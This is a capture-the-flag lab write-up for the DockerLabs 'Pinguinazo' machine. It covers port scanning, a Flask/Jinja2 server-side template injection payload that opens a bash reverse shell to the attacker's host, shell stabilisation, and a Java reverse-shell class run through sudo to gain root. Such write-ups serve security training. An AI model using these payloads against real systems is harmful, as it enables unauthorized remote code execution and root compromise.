> For the complete documentation index, see [llms.txt](https://itszaiden.gitbook.io/pentesting/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://itszaiden.gitbook.io/pentesting/writeups/dockerlabs/easy/pinguinazo.md).

# Pinguinazo

## 1 - Reconnaissance

We begin with a fast Nmap scan to identify open ports:

`nmap 172.17.0.2 -p- --open -sS -Pn --min-rate 5000 -T5`

**Result: port 5000 is open**

## 2 - Enumeration

Now we run a service/version detection scan, targeting only the open ports we found on the previous scan:

`nmap 172.17.0.2 -p 5000 -sS -Pn -sCV`

<figure><img src="/files/AxcCCyxsJh9Hh57gEYFK" alt=""><figcaption><p>(Pinguinazo) Targeted Port Scan</p></figcaption></figure>

We tried to find exploits or shellcodes using `searchsploit` but there wasn't any. Our next step will be directory enumeration. Using our tool `ffuf-dir`:

```
ffuf-dir () {
  ffuf -u $1 -w /usr/share/wordlists/dirb/big.txt ${@: 2} -e .html,.php,.txt
}
```

we did `ffuf-dir http://172.17.0.2/FUZZ`, but we couldn't FUZZ any routes. We will explore the website.

<figure><img src="/files/vIrYlWfhYulXRK2h6qxF" alt=""><figcaption><p>(Pinguinazo) Web Content</p></figcaption></figure>

## 3 - Exploitation

We've worked with Werkzeug running Flask on the backend before, so we will try the typical vulnerability. When we input name, birthdate and phone, and click on Save All, we receive a "Hello (name)". After trying to input `{{2*2}}` we got "Hello 4!".

```
{{ cycler.__init__.__globals__.os.popen("id").read() }}
```

That will run `id` in the system. Now running:

```
{{ cycler.__init__.__globals__.os.popen("bash -c 'bash -i >& /dev/tcp/172.17.0.1/3110 0>&1'").read() }}
```

instead of `id` will spawn a reverse shell, that we can catch with `nc -lvnp 3110`.

We will upgrade the reverse shell to a fully interactive shell using Python. First we will run `which python python2 python3` to know the version that the server is running. After it, we see that the server is running python3, so we execute this command:

```
python3 -c 'import pty;pty.spawn("/bin/bash")';
```

Now we will send temporarily our shell to the background with `CTRL+Z` and we will run:

`stty raw -echo;stty size;fg`

That way we will be able to send control characters through the reverse shell without killing it. Also, we will know the size of our terminal in rows and columns. For example, mine is 46 rows and 207 columns. After that, we will run `fg` to return to the reverse shell, and we will run this:

`export SHELL=kitty stty rows 46 columns 207 export TERM=xterm-256color`

Now, we have a fully interactive tty that won't get killed if we run `CTRL+C`, and will be as functional as our local one.

## 4 - Privilege Escalation

Running `sudo -l` will show we have sudo permissions as `root` on `/usr/bin/java`. Creating a malicious.java including a reverse shell, and running it as root will grant us a root shell. We will use this one from revshells.com

```
public class shell {
    public static void main(String[] args) {
        Process p;
        try {
            p = Runtime.getRuntime().exec("bash -c $@|bash 0 echo bash -i >& /dev/tcp/172.17.0.1/3110 0>&1");
            p.waitFor();
            p.destroy();
        } catch (Exception e) {}
    }
}
```

After `/usr/bin/java shell.java`, and setting up a listener on a second terminal with `nc -lvnp 3110`, we will catch it:

<figure><img src="/files/6ZLPz71KQXEIstbPUc75" alt=""><figcaption><p>(Pinguinazo) Root Shell</p></figcaption></figure>

## 5 - Summary

**Initial Access:**\
Nmap enumeration revealed a web service on port 5000 vulnerable to Server-Side Template Injection (SSTI). Exploiting it with Flask/Werkzeug payloads granted RCE and a reverse shell as `pinguinazo`.

**Exploitation:**\
Leveraged SSTI to execute system commands and spawn a stable reverse shell.

**Privilege Escalation:**\
`pinguinazo` had sudo rights on `/usr/bin/java`, which was abused to create a malicious `shell.java` containing a root reverse shell.&#x20;
